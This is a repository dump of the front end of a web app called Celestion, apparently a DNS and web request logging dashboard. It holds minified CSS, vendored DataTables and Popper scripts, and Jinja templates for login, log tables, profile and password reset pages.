0%, #0c0c0c 100%);box-shadow:inset 0 0 3px #111}.dataTables_wrapper .dataTables_paginate .ellipsis{padding:0 1em}.dataTables_wrapper .dataTables_processing{position:absolute;top:50%;left:50%;width:100%;height:40px;margin-left:-50%;margin-top:-25px;padding-top:20px;text-align:center;font-size:1.2em;background-color:white;background:-webkit-gradient(linear, left top, right top, color-stop(0%, rgba(255,255,255,0)), color-stop(25%, rgba(255,255,255,0.9)), color-stop(75%, rgba(255,255,255,0.9)), color-stop(100%, rgba(255,255,255,0)));background:-webkit-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:-moz-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:-ms-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:-o-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%);background:linear-gradient(to right, rgba(255,255,255,0) 0%, rgba(255,255,255,0.9) 25%, rgba(255,255,255,0.9) 75%, rgba(255,255,255,0) 100%)}.dataTables_wrapper .dataTables_length,.dataTables_wrapper .dataTables_filter,.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_processing,.dataTables_wrapper .dataTables_paginate{color:#333}.dataTables_wrapper .dataTables_scroll{clear:both}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody{*margin-top:-1px;-webkit-overflow-scrolling:touch}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>th,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>td,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>th,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>td{vertical-align:middle}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>th>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>td>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>th>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>td>div.dataTables_sizing{height:0;overflow:hidden;margin:0 !important;padding:0 !important}.dataTables_wrapper.no-footer .dataTables_scrollBody{border-bottom:1px solid #111}.dataTables_wrapper.no-footer div.dataTables_scrollHead table.dataTable,.dataTables_wrapper.no-footer div.dataTables_scrollBody>table{border-bottom:none}.dataTables_wrapper:after{visibility:hidden;display:block;content:"";clear:both;height:0}@media screen and (max-width: 767px){.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_paginate{float:none;text-align:center}.dataTables_wrapper .dataTables_paginate{margin-top:0.5em}}@media screen and (max-width: 640px){.dataTables_wrapper .dataTables_length,.dataTables_wrapper .dataTables_filter{float:none;text-align:center}.dataTables_wrapper .dataTables_filter{margin-top:0.5em}} -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /static/fonts/responsive.bootstrap.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable.dtr-inline.collapsed>tbody>tr>td.child,table.dataTable.dtr-inline.collapsed>tbody>tr>th.child,table.dataTable.dtr-inline.collapsed>tbody>tr>td.dataTables_empty{cursor:default !important}table.dataTable.dtr-inline.collapsed>tbody>tr>td.child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>th.child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>td.dataTables_empty:before{display:none !important}table.dataTable.dtr-inline.collapsed>tbody>tr>td:first-child,table.dataTable.dtr-inline.collapsed>tbody>tr>th:first-child{position:relative;padding-left:30px;cursor:pointer}table.dataTable.dtr-inline.collapsed>tbody>tr>td:first-child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>th:first-child:before{top:9px;left:4px;height:14px;width:14px;display:block;position:absolute;color:white;border:2px solid white;border-radius:14px;box-shadow:0 0 3px #444;box-sizing:content-box;text-align:center;font-family:'Courier New', Courier, monospace;line-height:14px;content:'+';background-color:#337ab7}table.dataTable.dtr-inline.collapsed>tbody>tr.parent>td:first-child:before,table.dataTable.dtr-inline.collapsed>tbody>tr.parent>th:first-child:before{content:'-';background-color:#d33333}table.dataTable.dtr-inline.collapsed>tbody>tr.child td:before{display:none}table.dataTable.dtr-inline.collapsed.compact>tbody>tr>td:first-child,table.dataTable.dtr-inline.collapsed.compact>tbody>tr>th:first-child{padding-left:27px}table.dataTable.dtr-inline.collapsed.compact>tbody>tr>td:first-child:before,table.dataTable.dtr-inline.collapsed.compact>tbody>tr>th:first-child:before{top:5px;left:4px;height:14px;width:14px;border-radius:14px;line-height:14px;text-indent:3px}table.dataTable.dtr-column>tbody>tr>td.control,table.dataTable.dtr-column>tbody>tr>th.control{position:relative;cursor:pointer}table.dataTable.dtr-column>tbody>tr>td.control:before,table.dataTable.dtr-column>tbody>tr>th.control:before{top:50%;left:50%;height:16px;width:16px;margin-top:-10px;margin-left:-10px;display:block;position:absolute;color:white;border:2px solid white;border-radius:14px;box-shadow:0 0 3px #444;box-sizing:content-box;text-align:center;font-family:'Courier New', Courier, monospace;line-height:14px;content:'+';background-color:#337ab7}table.dataTable.dtr-column>tbody>tr.parent td.control:before,table.dataTable.dtr-column>tbody>tr.parent th.control:before{content:'-';background-color:#d33333}table.dataTable>tbody>tr.child{padding:0.5em 1em}table.dataTable>tbody>tr.child:hover{background:transparent !important}table.dataTable>tbody>tr.child ul{display:inline-block;list-style-type:none;margin:0;padding:0}table.dataTable>tbody>tr.child ul li{border-bottom:1px solid #efefef;padding:0.5em 0}table.dataTable>tbody>tr.child ul li:first-child{padding-top:0}table.dataTable>tbody>tr.child ul li:last-child{border-bottom:none}table.dataTable>tbody>tr.child span.dtr-title{display:inline-block;min-width:75px;font-weight:bold}div.dtr-modal{position:fixed;box-sizing:border-box;top:0;left:0;height:100%;width:100%;z-index:100;padding:10em 1em}div.dtr-modal div.dtr-modal-display{position:absolute;top:0;left:0;bottom:0;right:0;width:50%;height:50%;overflow:auto;margin:auto;z-index:102;overflow:auto;background-color:#f5f5f7;border:1px solid black;border-radius:0.5em;box-shadow:0 12px 30px rgba(0,0,0,0.6)}div.dtr-modal div.dtr-modal-content{position:relative;padding:1em}div.dtr-modal div.dtr-modal-close{position:absolute;top:6px;right:6px;width:22px;height:22px;border:1px solid #eaeaea;background-color:#f9f9f9;text-align:center;border-radius:3px;cursor:pointer;z-index:12}div.dtr-modal div.dtr-modal-close:hover{background-color:#eaeaea}div.dtr-modal div.dtr-modal-background{position:fixed;top:0;left:0;right:0;bottom:0;z-index:101;background:rgba(0,0,0,0.6)}@media screen and (max-width: 767px){div.dtr-modal div.dtr-modal-display{width:95%}}div.dtr-bs-modal table.table tr:first-child td{border-top:none} -------------------------------------------------------------------------------- /static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/static/img/favicon.ico -------------------------------------------------------------------------------- /static/img/img.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/static/img/img.jpg -------------------------------------------------------------------------------- /static/img/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/static/img/sort_asc.png -------------------------------------------------------------------------------- /static/img/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/orleven/Celestion/c06baf018e2e656cb51ea41d981102ef4ad93d75/static/img/sort_both.png -------------------------------------------------------------------------------- /static/js/buttons.bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | Bootstrap integration for DataTables' Buttons 3 | ©2016 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(c){"function"===typeof define&&define.amd?define(["jquery","datatables.net-bs","datatables.net-buttons"],function(a){return c(a,window,document)}):"object"===typeof exports?module.exports=function(a,b){a||(a=window);if(!b||!b.fn.dataTable)b=require("datatables.net-bs")(a,b).$;b.fn.dataTable.Buttons||require("datatables.net-buttons")(a,b);return c(b,a,a.document)}:c(jQuery,window,document)})(function(c){var a=c.fn.dataTable;c.extend(!0,a.Buttons.defaults,{dom:{container:{className:"dt-buttons btn-group"}, 6 | button:{className:"btn btn-default"},collection:{tag:"ul",className:"dt-button-collection dropdown-menu",button:{tag:"li",className:"dt-button"},buttonLiner:{tag:"a",className:""}}}});a.ext.buttons.collection.text=function(a){return a.i18n("buttons.collection",'Collection ')};return a.Buttons}); -------------------------------------------------------------------------------- /static/js/dataTables.bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | DataTables Bootstrap 3 integration 3 | ©2011-2015 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(b){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(a){return b(a,window,document)}):"object"===typeof exports?module.exports=function(a,d){a||(a=window);if(!d||!d.fn.dataTable)d=require("datatables.net")(a,d).$;return b(d,a,a.document)}:b(jQuery,window,document)})(function(b,a,d){var f=b.fn.dataTable;b.extend(!0,f.defaults,{dom:"<'row'<'col-sm-6'l><'col-sm-6'f>><'row'<'col-sm-12'tr>><'row'<'col-sm-5'i><'col-sm-7'p>>",renderer:"bootstrap"});b.extend(f.ext.classes, 6 | {sWrapper:"dataTables_wrapper container-fluid dt-bootstrap",sFilterInput:"form-control input-sm",sLengthSelect:"form-control input-sm",sProcessing:"dataTables_processing panel panel-default"});f.ext.renderer.pageButton.bootstrap=function(a,h,r,m,j,n){var o=new f.Api(a),s=a.oClasses,k=a.oLanguage.oPaginate,t=a.oLanguage.oAria.paginate||{},e,g,p=0,q=function(d,f){var l,h,i,c,m=function(a){a.preventDefault();!b(a.currentTarget).hasClass("disabled")&&o.page()!=a.data.action&&o.page(a.data.action).draw("page")}; 7 | l=0;for(h=f.length;l",{"class":s.sPageButton+" "+g,id:0===r&&"string"===typeof c?a.sTableId+"_"+c:null}).append(b("",{href:"#", 8 | "aria-controls":a.sTableId,"aria-label":t[c],"data-dt-idx":p,tabindex:a.iTabIndex}).html(e)).appendTo(d),a.oApi._fnBindAction(i,{action:c},m),p++)}},i;try{i=b(h).find(d.activeElement).data("dt-idx")}catch(u){}q(b(h).empty().html('').children("ul"),m);i&&b(h).find("[data-dt-idx="+i+"]").focus()};return f}); -------------------------------------------------------------------------------- /static/js/dataTables.buttons.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | Buttons for DataTables 1.2.2 3 | ©2016 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(d){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(n){return d(n,window,document)}):"object"===typeof exports?module.exports=function(n,o){n||(n=window);if(!o||!o.fn.dataTable)o=require("datatables.net")(n,o).$;return d(o,n,n.document)}:d(jQuery,window,document)})(function(d,n,o,m){var i=d.fn.dataTable,u=0,v=0,j=i.ext.buttons,l=function(a,b){!0===b&&(b={});d.isArray(b)&&(b={buttons:b});this.c=d.extend(!0,{},l.defaults,b);b.buttons&&(this.c.buttons=b.buttons); 6 | this.s={dt:new i.Api(a),buttons:[],listenKeys:"",namespace:"dtb"+u++};this.dom={container:d("<"+this.c.dom.container.tag+"/>").addClass(this.c.dom.container.className)};this._constructor()};d.extend(l.prototype,{action:function(a,b){var c=this._nodeToButton(a);if(b===m)return c.conf.action;c.conf.action=b;return this},active:function(a,b){var c=this._nodeToButton(a),e=this.c.dom.button.active,c=d(c.node);if(b===m)return c.hasClass(e);c.toggleClass(e,b===m?!0:b);return this},add:function(a,b){var c= 7 | this.s.buttons;if("string"===typeof b){for(var e=b.split("-"),c=this.s,d=0,h=e.length-1;d").addClass(s.className);p.conf._collection=p.collection;this._expandButton(p.buttons,p.conf.buttons,!0,e)}k.init&&k.init.call(g.button(p.node),g,d(p.node),k);h++}}}},_buildButton:function(a,b){var c=this.c.dom.button,e=this.c.dom.buttonLiner,g=this.c.dom.collection,h=this.s.dt,f=function(b){return"function"===typeof b?b(h,k,a):b};b&&g.button&&(c=g.button);b&&g.buttonLiner&&(e=g.buttonLiner);if(a.available&&!a.available(h,a))return!1;var r=function(a, 13 | b,c,e){e.action.call(b.button(c),a,b,c,e);d(b.table().node()).triggerHandler("buttons-action.dt",[b.button(c),b,c,e])},k=d("<"+c.tag+"/>").addClass(c.className).attr("tabindex",this.s.dt.settings()[0].iTabIndex).attr("aria-controls",this.s.dt.table().node().id).on("click.dtb",function(b){b.preventDefault();!k.hasClass(c.disabled)&&a.action&&r(b,h,k,a);k.blur()}).on("keyup.dtb",function(b){b.keyCode===13&&!k.hasClass(c.disabled)&&a.action&&r(b,h,k,a)});"a"===c.tag.toLowerCase()&&k.attr("href","#"); 14 | e.tag?(g=d("<"+e.tag+"/>").html(f(a.text)).addClass(e.className),"a"===e.tag.toLowerCase()&&g.attr("href","#"),k.append(g)):k.html(f(a.text));!1===a.enabled&&k.addClass(c.disabled);a.className&&k.addClass(a.className);a.titleAttr&&k.attr("title",a.titleAttr);a.namespace||(a.namespace=".dt-button-"+v++);e=(e=this.c.dom.buttonContainer)&&e.tag?d("<"+e.tag+"/>").addClass(e.className).append(k):k;this._addKey(a);return{conf:a,node:k.get(0),inserter:e,buttons:[],inCollection:b,collection:null}},_nodeToButton:function(a, 15 | b){b||(b=this.s.buttons);for(var c=0,e=b.length;c").addClass(b).css("display","none").appendTo("body").fadeIn(c):d("body > div."+b).fadeOut(c,function(){d(this).removeClass(b).remove()})};l.instanceSelector=function(a,b){if(!a)return d.map(b,function(a){return a.inst});var c= 19 | [],e=d.map(b,function(a){return a.name}),g=function(a){if(d.isArray(a))for(var f=0,r=a.length;fg&&e._collection.css("left",a.left-(c-g))):(a=e._collection.height()/2,a>d(n).height()/2&&(a=d(n).height()/2),e._collection.css("marginTop",-1*a));e.background&&l.background(!0,e.backgroundClassName,e.fade);setTimeout(function(){d("div.dt-button-background").on("click.dtb-collection", 24 | function(){});d("body").on("click.dtb-collection",function(a){var c=d.fn.addBack?"addBack":"andSelf";if(!d(a.target).parents()[c]().filter(e._collection).length){e._collection.fadeOut(e.fade,function(){e._collection.detach()});d("div.dt-button-background").off("click.dtb-collection");l.background(false,e.backgroundClassName,e.fade);d("body").off("click.dtb-collection");b.off("buttons-action.b-internal")}})},10);if(e.autoClose)b.on("buttons-action.b-internal",function(){d("div.dt-button-background").click()})}, 25 | background:!0,collectionLayout:"",backgroundClassName:"dt-button-background",autoClose:!1,fade:400},copy:function(a,b){if(j.copyHtml5)return"copyHtml5";if(j.copyFlash&&j.copyFlash.available(a,b))return"copyFlash"},csv:function(a,b){if(j.csvHtml5&&j.csvHtml5.available(a,b))return"csvHtml5";if(j.csvFlash&&j.csvFlash.available(a,b))return"csvFlash"},excel:function(a,b){if(j.excelHtml5&&j.excelHtml5.available(a,b))return"excelHtml5";if(j.excelFlash&&j.excelFlash.available(a,b))return"excelFlash"},pdf:function(a, 26 | b){if(j.pdfHtml5&&j.pdfHtml5.available(a,b))return"pdfHtml5";if(j.pdfFlash&&j.pdfFlash.available(a,b))return"pdfFlash"},pageLength:function(a){var a=a.settings()[0].aLengthMenu,b=d.isArray(a[0])?a[0]:a,c=d.isArray(a[0])?a[1]:a,e=function(a){return a.i18n("buttons.pageLength",{"-1":"Show all rows",_:"Show %d rows"},a.page.len())};return{extend:"collection",text:e,className:"buttons-page-length",autoClose:!0,buttons:d.map(b,function(a,b){return{text:c[b],action:function(b,c){c.page.len(a).draw()},init:function(b, 27 | c,e){var d=this,c=function(){d.active(b.page.len()===a)};b.on("length.dt"+e.namespace,c);c()},destroy:function(a,b,c){a.off("length.dt"+c.namespace)}}}),init:function(a,b,c){var d=this;a.on("length.dt"+c.namespace,function(){d.text(e(a))})},destroy:function(a,b,c){a.off("length.dt"+c.namespace)}}}});i.Api.register("buttons()",function(a,b){b===m&&(b=a,a=m);this.selector.buttonGroup=a;var c=this.iterator(!0,"table",function(c){if(c._buttons)return l.buttonSelector(l.instanceSelector(a,c._buttons), 28 | b)},!0);c._groupSelector=a;return c});i.Api.register("button()",function(a,b){var c=this.buttons(a,b);1').html(a?""+a+"":"").append(d("")["string"===typeof b?"html":"append"](b)).css("display","none").appendTo("body").fadeIn();c!==m&&0!==c&&(q=setTimeout(function(){e.buttons.info(!1)},c));return this});i.Api.register("buttons.exportData()",function(a){if(this.context.length){for(var b=new i.Api(this.context[0]), 33 | c=d.extend(!0,{},{rows:null,columns:"",modifier:{search:"applied",order:"applied"},orthogonal:"display",stripHtml:!0,stripNewlines:!0,decodeEntities:!0,trim:!0,format:{header:function(a){return e(a)},footer:function(a){return e(a)},body:function(a){return e(a)}}},a),e=function(a){if("string"!==typeof a)return a;c.stripHtml&&(a=a.replace(/<[^>]*>/g,""));c.trim&&(a=a.replace(/^\s+|\s+$/g,""));c.stripNewlines&&(a=a.replace(/\n/g," "));c.decodeEntities&&(t.innerHTML=a,a=t.value);return a},a=b.columns(c.columns).indexes().map(function(a){var d= 34 | b.column(a).header();return c.format.header(d.innerHTML,a,d)}).toArray(),g=b.table().footer()?b.columns(c.columns).indexes().map(function(a){var d=b.column(a).footer();return c.format.footer(d?d.innerHTML:"",a,d)}).toArray():null,h=b.rows(c.rows,c.modifier).indexes().toArray(),f=b.cells(h,c.columns).render(c.orthogonal).toArray(),h=b.cells(h,c.columns).nodes().toArray(),j=a.length,k=0")[0];d.fn.dataTable.Buttons=l;d.fn.DataTable.Buttons=l;d(o).on("init.dt plugin-init.dt",function(a,b){if("dt"===a.namespace){var c=b.oInit.buttons||i.defaults.buttons;c&&!b._buttons&&(new l(b,c)).container()}});i.ext.feature.push({fnInit:function(a){var a=new i.Api(a),b=a.init().buttons||i.defaults.buttons;return(new l(a,b)).container()},cFeature:"B"});return l}); -------------------------------------------------------------------------------- /static/js/popper.min.js: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) Federico Zivolo 2017 3 | Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). 4 | */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=window.getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e||-1!==['HTML','BODY','#document'].indexOf(e.nodeName))return window.document.body;var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:window.document.documentElement}function p(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||r(e.firstElementChild)===e)}function s(e){return null===e.parentNode?e:s(e.parentNode)}function d(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return window.document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,i=o?e:t,n=o?t:e,a=document.createRange();a.setStart(i,0),a.setEnd(n,0);var f=a.commonAncestorContainer;if(e!==f&&t!==f||i.contains(n))return p(f)?f:r(f);var l=s(e);return l.host?d(l.host,t):d(e,s(t).host)}function a(e){var t=1=o.clientWidth&&i>=o.clientHeight}),f=0i[e]&&!t.escapeWithReference&&(n=z(p[o],i[e]-('right'===e?p.width:p.height))),pe({},o,n)}};return n.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';p=se({},p,s[t](e))}),e.offsets.popper=p,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,i=t.reference,n=e.placement.split('-')[0],r=V,p=-1!==['top','bottom'].indexOf(n),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(i[s])&&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,t){if(!F(e.instance.modifiers,'arrow','keepTogether'))return e;var o=t.element;if('string'==typeof o){if(o=e.instance.popper.querySelector(o),!o)return e;}else if(!e.instance.popper.contains(o))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var i=e.placement.split('-')[0],n=e.offsets,r=n.popper,p=n.reference,s=-1!==['left','right'].indexOf(i),d=s?'height':'width',a=s?'top':'left',f=s?'left':'top',l=s?'bottom':'right',m=O(o)[d];p[l]-mr[l]&&(e.offsets.popper[a]+=p[a]+m-r[l]);var h=p[a]+p[d]/2-m/2,g=h-c(e.offsets.popper)[a];return g=_(z(r[d]-m,g),0),e.arrowElement=o,e.offsets.arrow={},e.offsets.arrow[a]=Math.round(g),e.offsets.arrow[f]='',e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=w(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement),i=e.placement.split('-')[0],n=L(i),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case fe.FLIP:p=[i,n];break;case fe.CLOCKWISE:p=K(i);break;case fe.COUNTERCLOCKWISE:p=K(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i!==s||p.length===d+1)return e;i=e.placement.split('-')[0],n=L(i);var a=e.offsets.popper,f=e.offsets.reference,l=V,m='left'===i&&l(a.right)>l(f.left)||'right'===i&&l(a.left)l(f.top)||'bottom'===i&&l(a.top)l(o.right),g=l(a.top)l(o.bottom),b='left'===i&&h||'right'===i&&c||'top'===i&&g||'bottom'===i&&u,y=-1!==['top','bottom'].indexOf(i),w=!!t.flipVariations&&(y&&'start'===r&&h||y&&'end'===r&&c||!y&&'start'===r&&g||!y&&'end'===r&&u);(m||b||w)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),w&&(r=j(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offsets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=N(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],i=e.offsets,n=i.popper,r=i.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return n[p?'left':'top']=r[t]-(s?n[p?'width':'height']:0),e.placement=L(t),e.offsets.popper=c(n),e}},hide:{order:800,enabled:!0,fn:function(e){if(!F(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=T(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.right 2 | 3 | 4 | 5 | 6 | 7 | 8 | {% block head %} 9 | {% block title %}{% endblock %} - Celestion 10 | {% endblock %} 11 | 12 | {% block css %} 13 | 14 | 15 | {% endblock %} 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | Celestion 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 38 | 39 | 40 | Welcome, 41 | {{username}} 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | Dashboard 52 | 53 | Log 54 | 55 | DNSLog 56 | WebLog 57 | 58 | 59 | 60 | Setting 61 | 62 | Response 63 | DNS 64 | 65 | 66 | 67 | System 68 | 69 | User 70 | Log 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 92 | {{username}} 93 | 94 | 95 | Profile 96 | Reset 97 | Log 98 | Out 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | {% block content %} {% endblock %} 113 | 114 | 115 | 116 | 117 | 118 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | {% block js %} 132 | {% endblock %} 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /template/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | {% block head %} 9 | {{title}} - Celestion 10 | {% endblock %} 11 | 12 | {% block css %} 13 | 14 | 15 | {% endblock %} 16 | 17 | 18 | 19 | 20 | 21 | 22 | 24 | 25 | 26 | Login 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | Username: 36 | 37 | 38 | 39 | 40 | 41 | Password: 43 | 44 | 46 | 47 | 48 | 49 | 50 | 51 | {{message}} 52 | Login 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /template/manager/dashboard.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | 8 | 9 | 10 | {% endblock %} 11 | 12 | {% block css %} 13 | {{ super() }} 14 | 15 | 16 | 17 | {% endblock %} 18 | 19 | {% block content %} 20 | 21 | 22 | 23 | {% endblock %} 24 | 25 | {% block js %} 26 | {{ super() }} 27 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/log/dnslog.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | {% endblock %} 15 | 16 | {% block content %} 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | {{title}} 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | Search 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | IP 56 | Domain 57 | Type 58 | Update 59 | Operation 60 | 61 | 62 | 63 | 64 | 65 | 66 | Delete 67 | Clear All 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | Delete 78 | × 79 | 80 | 81 | 82 | 83 | Are you sure to delete this data? 84 | 85 | 86 | Domain: 87 | 89 | 90 | IP: 91 | 92 | 93 | Type: 94 | 95 | 96 | 101 | 102 | 103 | 104 | 105 | 106 | {% endblock %} 107 | 108 | {% block js %} 109 | {{ super() }} 110 | 111 | 112 | 113 | 114 | 286 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/profile.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | {% endblock %} 15 | 16 | {% block content %} 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | {{title}} 25 | 26 | 27 | 28 | 29 | 30 | 31 | 33 | 34 | Username: 35 | 37 | 38 | Email: 39 | 41 | 42 | Description: 43 | {{description}} 45 | 46 | {{message}} 47 | 48 | Sumbit 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | {% endblock %} 60 | 61 | {% block js %} 62 | {{ super() }} 63 | 64 | 65 | 66 | 67 | 72 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/reset.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | {% endblock %} 15 | 16 | {% block content %} 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | {{title}} Password 25 | 26 | 27 | 28 | 29 | 30 | 31 | 33 | 34 | Password: 35 | 37 | 38 | New Password: 39 | 41 | 42 | Confirm Password: 43 | 45 | 46 | {{message}} 47 | 48 | Sumbit 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | {{title}} API-Key 58 | 59 | 60 | 61 | 62 | 63 | 64 | 66 | API Key: 67 | 69 | 70 | Reset 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | {% endblock %} 81 | 82 | {% block js %} 83 | {{ super() }} 84 | 85 | 86 | 87 | 88 | 93 | {% endblock %} --------------------------------------------------------------------------------
{{message}}
Are you sure to delete this data?